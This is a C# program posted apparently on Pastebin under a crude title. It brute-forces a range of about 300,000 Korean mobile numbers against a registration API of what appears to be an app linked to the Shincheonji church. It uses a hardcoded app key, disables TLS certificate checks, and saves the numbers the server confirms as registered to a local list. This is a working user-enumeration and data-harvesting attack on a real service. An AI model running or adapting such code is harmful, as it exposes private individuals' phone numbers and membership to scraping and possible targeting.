Guest User

shincongiphoneanalsex

a guest
Feb 22nd, 2020
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 4.73 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Net.Security;
  7. using System.Reflection;
  8. using System.Text;
  9. using System.Threading;
  10. using System.Threading.Tasks;
  11. using Newtonsoft.Json;
  12. using Newtonsoft.Json.Linq;
  13.  
  14. namespace myposttestproject
  15. {
  16.     class Program
  17.     {
  18.         static StringBuilder phonenumbers = new StringBuilder();
  19.         static string url = @"https://genesis-mp3-api.ziongroup.net/spr.egov.mp3/registDevice.do";
  20.  
  21.         static void Main(string[] args)
  22.         {
  23.             GatherTaskAsync(ThrowPost());
  24.             File.WriteAllText(@"C:\Users\Poin7Less\Documents\신천지\list.txt", phonenumbers.ToString());
  25.  
  26.             Console.ReadLine();
  27.         }
  28.  
  29.         static List<(Task<string>, string)> ThrowPost()
  30.         {
  31.            
  32.             string fullmsg;
  33.             string phonenumber;
  34.             List<(Task<string> tesk, string pn)> dataset = new List<(Task<string>, string)>();
  35.             int i = 0;
  36.             for (int front = 5020; front < 5050; front++)
  37.             {
  38.                 for (int last = 0; last < 10000; last++)
  39.                 {
  40.                     phonenumber = string.Format("010" + front.ToString("D4") + last.ToString("D4"));
  41.                     fullmsg = @"app_key=903bc2bd3bb61e1079a808bac557fd7e&pcs=" + phonenumber + @"&did=f07a13984f6d116a";
  42.                     var tesk1 = Task.Run(() => GetHttpPOST(fullmsg));
  43.                     dataset.Add((tesk1, phonenumber));
  44.                     i++;
  45.                     //Console.WriteLine("전송중 : "+phonenumber);
  46.                     if(i%100 == 0)
  47.                     {
  48.                         Console.WriteLine("100개 전송함 : " + phonenumber);
  49.                     }
  50.                 }
  51.             }
  52.  
  53.             return dataset;
  54.         }
  55.  
  56.         static async void GatherTaskAsync(List<(Task<string>, string)> dataset)
  57.         {
  58.             int i = 0;
  59.             foreach((Task<string> tesk, string pn) data in dataset)
  60.             {
  61.                 string getmassage = await data.tesk;
  62.                 var json = JObject.Parse(getmassage);
  63.                 string value = json.Value<string>("result");
  64.                 if (value != "not exist")
  65.                 {
  66.                     Console.WriteLine(data.pn);
  67.                     phonenumbers.Append(data.pn);
  68.                 }
  69.                 i++;
  70.                 if (i % 100 == 0)
  71.                 {
  72.                     Console.WriteLine("100개 넘어감 : " + data.pn);
  73.                 }
  74.             }
  75.         }
  76.  
  77.        
  78.  
  79.  
  80.         public static string GetHttpPOST(string postMsg)
  81.         {
  82.             string retValue = string.Empty;
  83.            
  84.  
  85.             if (url.IndexOf("https://") >= 0)
  86.             {
  87.                 ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
  88.             }
  89.  
  90.             try
  91.             {
  92.                 HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
  93.                 httpWebRequest.Method = "POST";
  94.                 Stream requestStream = null;
  95.                 byte[] sendData = null;
  96.                 if (postMsg != null)
  97.                 {
  98.                     postMsg = postMsg.Substring(0, postMsg.Length - 1);
  99.  
  100.  
  101.                     sendData = UTF8Encoding.UTF8.GetBytes(postMsg);
  102.                     httpWebRequest.ContentType = "application/x-www-form-urlencoded; charset=UTF-8";
  103.                     httpWebRequest.ContentLength = sendData.Length;
  104.                     requestStream = httpWebRequest.GetRequestStream();
  105.                     requestStream.Write(sendData, 0, sendData.Length);
  106.                 }
  107.                 else
  108.                 {
  109.                     httpWebRequest.ContentLength = 0;
  110.                     requestStream = httpWebRequest.GetRequestStream();
  111.                 }
  112.                 requestStream.Flush();
  113.                 requestStream.Close();
  114.  
  115.                 HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
  116.                 httpWebRequest.GetResponse();
  117.                 StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
  118.                 retValue = streamReader.ReadToEnd();
  119.                 streamReader.Close();
  120.                 httpWebResponse.Close();
  121.             }
  122.             catch (WebException ex)
  123.             {
  124.                 if (ex.Response is HttpWebResponse)
  125.                 {
  126.                     retValue = ex.Message;
  127.                 }
  128.                 else
  129.                 {
  130.                     retValue = ex.Message;
  131.                 }
  132.             }
  133.             return retValue;
  134.         }
  135.        
  136.     }
  137. }
Add Comment
Please, Sign In to add comment